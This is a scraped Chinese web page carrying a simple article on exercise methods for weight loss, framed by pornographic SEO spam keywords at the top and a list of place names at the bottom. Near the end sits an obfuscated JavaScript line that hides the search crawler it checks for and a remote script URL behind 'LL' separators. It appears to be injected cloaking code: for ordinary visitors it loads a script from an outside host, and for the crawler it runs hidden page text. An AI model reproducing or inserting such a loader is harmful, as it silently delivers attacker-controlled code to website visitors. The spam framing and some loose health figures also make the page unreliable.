亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 減肥 > 運動減肥 > 正文

正確的減肥鍛煉方法是什么

2017-04-22 00:14:13  來源:360常識網(wǎng)   熱度:
導語:對減肥來說,正確的方法就是進行有氧運動,它可以幫助減肥者消耗身體內(nèi)累積的脂肪。因此,想要減肥的人一定要完成有氧運動的全過程才行,這

對減肥來說,正確的方法就是進行有氧運動,它可以幫助減肥者消耗身體內(nèi)累積的脂肪。因此,想要減肥的人一定要完成有氧運動的全過程才行,這一點減肥者必須要遵循。但是,有氧運動可以分為很多種,哪幾種方法才是減肥的正確方法?

游泳

資料顯示,水的熱傳導系數(shù)比空氣大26倍,若在相同溫度的水里比在空氣里散失熱量加快20多倍,有效地消耗人的熱量。測試表明:若在水中游100米,消耗100千卡熱能,相當于陸地跑400米,或騎自行車1000米,或滑冰1500米。另外“由于水波浪的作用,不斷對人體表皮進行摩擦,從而使皮膚得到放松和休息,所以經(jīng)常游泳的人,都有一身光潔、柔軟的皮膚”。

爬山

夏天爬山減肥效果顯著。天氣炎熱的時候爬山,體力消耗大概增加20%-30%。消除脂肪最好的方法是‘有氧運動’,爬山就是最好的有氧運動。每次爬山準備休息時,拿表測試一下:每分鐘心跳120下,能持續(xù)10分鐘,說明運動量達到燃燒脂肪的目的了。

散步

適合各類人群:耍劍的、舞槍的、打太極拳的、跳木蘭扇的;這邊民族舞,那邊交際舞。左邊唱戲的,右邊唱歌的,參加哪項都比在家睡懶覺好。其他減肥輔助措施有:多吃蔬菜水果,少吃主食甜食等。不過,說了那么多,最重要一點是“堅持”。

俯臥撐 仰臥起坐

家里的一些物品都可以當體育器械進行訓練,比如用兩個小板凳放在地面上,就可以做俯臥撐了;躺在床上,胸前抱兩個西瓜,可進行仰臥起坐的訓練;如果男士有啤酒肚,可以每天先進行30分鐘的有氧訓練,再進行腹部訓練,例如可以做俯臥撐、原地高抬腿等,不要求速度很快,但要有足夠的訓練時間。

有氧運動的時間會比較長,減肥者要堅持下來才行,運動時不要求減肥者速度很快,時間必須要足夠才行。再者,以上的方法才是最正確的減肥鍛煉方法,可以游泳,可以爬山,也可以去散步??傊?,只要大家能主動去做就行,萬萬不要半途而廢。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
隆子县| 民和| 基隆市| 庆云县| 平山县| 堆龙德庆县| 贵州省| 凭祥市| 霞浦县| 福鼎市| 靖州| 涪陵区| 松江区| 石景山区| 班戈县| 宜昌市| 稷山县| 龙门县| 东海县| 榕江县| 望江县| 兴文县| 曲松县| 平定县| 汉川市| 台东县| 霍林郭勒市| 九寨沟县| 盖州市| 禹州市| 张家口市| 卢氏县| 登封市| 杂多县| 苏尼特左旗| 高台县| 伊金霍洛旗| 都江堰市| 朝阳区| 濮阳市| 齐河县|